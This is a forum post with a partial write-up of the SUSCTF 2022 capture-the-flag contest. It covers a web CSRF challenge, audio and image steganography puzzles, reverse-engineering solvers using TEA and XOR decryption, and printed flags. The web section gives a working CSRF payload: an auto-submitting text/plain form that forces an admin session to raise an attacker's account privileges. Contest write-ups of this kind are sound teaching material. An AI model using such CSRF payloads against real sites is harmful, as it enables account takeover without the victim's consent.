安全矩阵

 找回密码
 立即注册
搜索
查看: 2503|回复: 0

SUSCTF-2022 部分WriteUp

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2022-3-4 19:26:23 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-3-4 19:28 编辑

SUSCTF-2022 部分WriteUp

SUSCTF

本次比赛Misc方向题目由魔法少女雪殇小夜valen全部解出。团队纳新事项已提上日程,有兴趣的师傅可以留意一下公众号文章。

Web

★fxxkcors
思路:CSRF修改用户权限
附件中的js文件内容是用puppeteer去模拟浏览器登录,然后访问我们给定的链接

题目登录后有个修改权限的功能,只要修改成normal admin就可以访问首页拿flag



默认情况下非admin登录无法修改权限



可以构造CSRF,然后通过题目提供的Admin report访问进行CSRF权限提升

构造exp时会发现,发送json格式会出现同源策略问题无法发起请求,可以通过使Content-Type: text/plain,然后body中是json数据就能绕过,具体EXP如下
  1. <html>
  2. <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>  
  3. <form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">  
  4. <input id="sub" name='{"username":"gcker", "test":"' value='test"}'type='hidden'>
  5. </form>
  6. <script>
  7.     $("form").submit();
  8. </script>
  9. </html>
复制代码
​放vps上,然后给admin report传http://vps:port/发起csrf,修改用户为admin





非预期解法:gcker/123????

Misc


★签到
discord快速截图



★ra2
看地图



Tanner
转成矩阵,图片010末尾文字,加起来sha256即可



AUDIO
音频,两个看起来没什么区别,反正这类音频套路要么就是音频叠加,要么就是藏在某处的morse,直接ai分离人声和背景音乐



发现分离后明显有morse,直接听出来转就完了

★misound音频明显的sstv,但是有间隔,au可以看到间隔,间隔用频谱是有文字的(图片没存,自行想象)



文字是AnEWmuLTiPLyis_etimes_wiLLbEcomE_B
意义不明
其次通过希望人没事可以获得b64数据,解码获得一串数字。
207 359 220 224 352 315 359 374 290 310 277 507 391 513 423 392 508 383 440 322 420 427 503 460 295 318 245 302 407 414 410 130 369 317
同样意义不明
接下来着手于消除噪音,这里贴一个工具

http://www.snowywar.top/?golink= ... GFjbGFudGgvc3N0dg==
直接转换图片,会炸



把文字的频谱噪音删除后手工修补,获得高清图片



可以观察到,总共17列,11行,去除中间空白,可以分为五个一组,总共34个字母,与获得的数字相对应接下来尝试了各种转换,二进制什么一堆堆都没有结果,跟其他人一样,非预期就完事了,属实乐
  1. import math
  2. e = [207, 359, 220, 224, 352, 315, 359, 374, 290, 310, 277, 507, 391, 513, 423, 392, 508, 383, 440, 322, 420, 427, 503, 460, 295, 318, 245, 302, 407, 414, 410, 130, 369, 317]
  3. a = 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B'
  4. #b = ['01001', '11010', '00110', '11000', '00001', '10000', '10001', '01011', '01011', '01011', '01110', '00110', '00101', '10010', '00100', '10100', '11010', '10110', '11000', '00101', '11000', '01001', '10010', '01010', '01100', '11010', '10000', '10001', '00101', '00010', '11001', '01000', '01000', '00011']
  5. e10= []
  6. alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  7. b = 'NQHFEAOUUUSHLMCJQRFLFNMKGQAOLDWBBI'

  8. result = [9,26,6,]
  9. #207*26+1/65
  10. #101*95 = 26*369+1

  11. for i in range(34):
  12.   #rint(95*101/e[i])

  13.   a1 = ord(a[i])
  14.   #print('a:',a1)
  15.   n = e[i]
  16.   flag = chr(round((n * 26 + 1)/a1))
  17.   print(flag)
  18. '''
  19. for i in e:
  20.   e10.append(bin(i)[2:])

  21. print(e10)
  22.   '''
复制代码

Re

DigitalCircuits用pyinstxtractor 分解



将同名pyc文件改成前struct的pyc文件在线反编译得到



主要逻辑是tea加密



D是delta的二進制形式
脚本

  1. #include <stdio.h>
  2. #include <stdint.h>
  3. // unsigned char ida_chars[] =
  4. //{
  5. // 0x88, 0x34, 0xD9, 0x48, 0x4C, 0x14, 0x0C, 0x03, 0xC2, 0x78,
  6. //  0xEB, 0x52, 0xED, 0xE5, 0x9C, 0xED,0xE6, 0xED, 0x1F, 0xAE, 0x6D, 0x12, 0x5A, 0xBA, 0xAA, //0x84,
  7. //  0x92, 0xCF, 0xE3, 0xF2, 0xE0, 0x65
  8. //};
  9. //解密函数
  10. // void decrypt (uint32_t* v, uint32_t* k) {
  11. //     uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
  12. //     uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
  13. //     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
  14. //     for (i=0; i<32; i++) {                         /* basic cycle start */
  15. //         v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
  16. //         v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
  17. //         sum -= delta;
  18. //     }                                              /* end cycle */
  19. //     v[0]=v0; v[1]=v1;
  20. // }
  21. void decrypt (uint32_t* v, uint32_t* k) {
  22.     uint32_t v0=v[0], v1=v[1], sum=0x9e3779b9*32, i;  /* set up */
  23.     uint32_t delta=0x9e3779b9;
  24.                         /* a key schedule constant */
  25.     uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];/* cache key */
  26.     for (i=0; i<32; i++) {                         /* basic cycle start */
  27.          v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
  28.         v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
  29.         sum -= delta;
  30.     }                                              /* end cycle */
  31.     v[0]=v0; v[1]=v1;
  32. }
  33. int main()
  34. {
  35.     //unsigned char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  36.     uint32_t v[6]={0x3e8947cb,0xcc944639,0x31358388,0x3b0b6893,0xda627361,0x3b2e6427} ,k[4]={17477,0x4144,0x4245,0x4546};
  37.     //uint32_t *k = (uint32_t*)key;
  38.     //uint32_t *v = (uint32_t*)ida_chars;
  39.     // v为要加密的数据是两个32位无符号整数
  40.     // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
  41.     printf("\n");
  42.     decrypt(v, k);
  43.     decrypt(v+2, k);
  44.      decrypt(v+4, k);
  45.     // decrypt(v+6, k);
  46.      //decrypt(v+8, k);
  47.      //decrypt(v+10, k);
  48.      //decrypt(v+12, k);
  49.         //decrypt(v+14, k);
  50.         //decrypt(v+16, k);
  51.         //decrypt(v+18, k);
  52.        // decrypt(v+20, k);
  53.         //decrypt(v+22, k);
  54.         //decrypt(v+24, k);
  55.     for(int i=0;i<6;i++){
  56.       printf("%x ",v[i]);
  57.     }
  58.     printf("\n");
  59.     //for(int i=0;i<32;i++){
  60.     //    printf("%c",ida_chars[i]);
  61.     //}
  62.     return 0;
  63. }
复制代码



最后再转换为字符

  1. a=[0x58,0x42,0x76,0x66,0x61,0x45,0x64,0x51,0x76,0x62,0x63,0x72,0x78,0x50,0x42,0x68,0x38,0x41,0x4f,0x63,0x4a,0x36,0x67,0x41]
  2. for i in range(len(a)):
  3.      print(chr(a[i]),end='')
复制代码




最后的flag
SUSCTF{XBvfaEdQvbcrxPBh8AOcJ6gA}

hello_world



判断输入为44字节,分析case11



sub_14009cc0函数是异或处理



上面的v74与v71是是输入的加密结果和密文,3 2 就是加上2后的结果
脚本:

  1. a= [86,218,205,58,126,134,19,181,29,157,252,151,140,49,107,201,251,26,226,45,220, 211, 241,244,54,9,32, 66,4, 106,113, 83,120, 164,151,143,122,114,57,232,61,250,64,61,408,0, 0, 0]
  2. d=[5,143,158,121,42,192,104,129,45,252,207,164,181,85,95,228,157,35,214,29,241,231,151,145,6,36,66,113,60,88,92,48,25,198,245,188,75,66,93,218,88,155,36,64]
  3. flag = ''
  4. for i in range(len(d)):
  5.     flag += chr(a[i] ^ d[i])
  6. print(flag)
复制代码

​​SUSCTF{40a339d4-f940-4fe0-b382-cabb310d2ead}

PWN

kqueue's revenge
非预期解,直接搜flag就出来了...







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 04:46 , Processed in 0.013623 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表